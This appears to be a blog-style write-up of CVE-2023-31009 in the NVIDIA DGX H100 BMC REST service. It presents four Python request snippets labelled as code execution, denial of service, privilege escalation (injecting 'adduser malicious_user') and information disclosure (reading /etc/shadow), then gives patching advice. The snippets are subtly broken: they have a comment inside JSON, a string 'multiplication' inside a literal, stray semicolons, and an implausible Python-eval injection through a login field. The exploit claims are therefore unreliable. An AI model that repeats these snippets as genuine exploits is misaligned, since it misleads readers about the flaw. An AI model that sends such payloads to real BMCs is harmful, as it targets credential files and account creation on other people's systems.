A recently discovered vulnerability, CVE-2023-31009, targets the NVIDIA DGX H100 Baseboard Management Controller (BMC) by exploiting a weak point in the REST service. The BMC is a crucial component in the server management system, responsible for various server monitoring tasks.

This vulnerability can lead to a compromised network, allowing an attacker to execute arbitrary code, escalate privileges, and even obtain sensitive information. This long-read post takes a deep dive into this security flaw, including its detailed exploit, relevant code snippets, and links to original references.

Vulnerability Overview

CVE-2023-31009 revolves around improper input validation in the NVIDIA DGX H100 BMC REST service's request handling. A skilled attacker can exploit this weakness to launch various attacks, ultimately gaining unauthorized access to the system, leading to potential asset and data loss.

Code Execution

By exploiting the improper input validation vulnerability in the REST service, an attacker may be able to execute arbitrary code on the affected system, leading to unauthorized access and potentially malicious activities. The code snippet below demonstrates how an attacker could craft a malicious payload to bypass the input validation checks:

import requests

target_url = "http://[TARGET_IP]/api/v1/login";
payload = '''{
    "username": "admin",
    "password": "admin' + eval('1+1') + '"
}'''

response = requests.post(target_url, data=payload)

Denial of Service (DoS)

The affected NVIDIA DGX H100 BMC REST service may also be susceptible to a Denial of Service (DoS) attack, wherein the system's resources are consumed, disrupting its intended functionality. The following code snippet illustrates an example of a DoS attack exploiting CVE-2023-31009:

import requests

target_url = "http://[TARGET_IP]/api/v1/login";
payload = '''{
    "username": "admin",
    "password": "admin' * 100000 + '"    # Excessive password length leading to a DoS
}'''

response = requests.post(target_url, data=payload)

Escalation of Privileges

Given the nature of the NVIDIA DGX H100 BMC REST service, exploiting CVE-2023-31009 can potentially grant an attacker unauthorized escalation of privileges. To achieve this, the attacker can inject malicious code into an API request, like shown in the following code snippet:

import requests

target_url = "http://[TARGET_IP]/api/v1/login";
payload = '''{
    "username": "admin",
    "password": "admin'; os.system('adduser malicious_user') + '"
}'''

response = requests.post(target_url, data=payload)

Information Disclosure

Lastly, CVE-2023-31009 may result in information disclosure, allowing an attacker to access sensitive data and compromise the affected system. An example of such an attack is shown below:

import requests

target_url = "http://[TARGET_IP]/api/v1/login";
payload = '''{
    "username": "admin",
    "password": "admin' + str(open('/etc/shadow').read()) + '"
}'''

response = requests.post(target_url, data=payload)

Original References

1. NVIDIA Security Bulletin ID: NVSB-01
2. Vulnerability Report on Bruce Schneier's Blog: Vulnerability In NVIDIA DGX H100 BMC

Conclusion

CVE-2023-31009 is a severe vulnerability that places NVIDIA DGX H100 BMC systems at risk. To protect your systems from possible compromise, patch your server systems with the latest NVIDIA security updates immediately. Be vigilant of any abnormal system activities, and monitor server logs for unusual behavior. Lastly, it's a good practice to educate your staff about cybersecurity best practices to minimize the risk of attacks at their source.

Timeline

Published on: 09/20/2023 01:15:00 UTC
Last modified on: 09/22/2023 16:19:00 UTC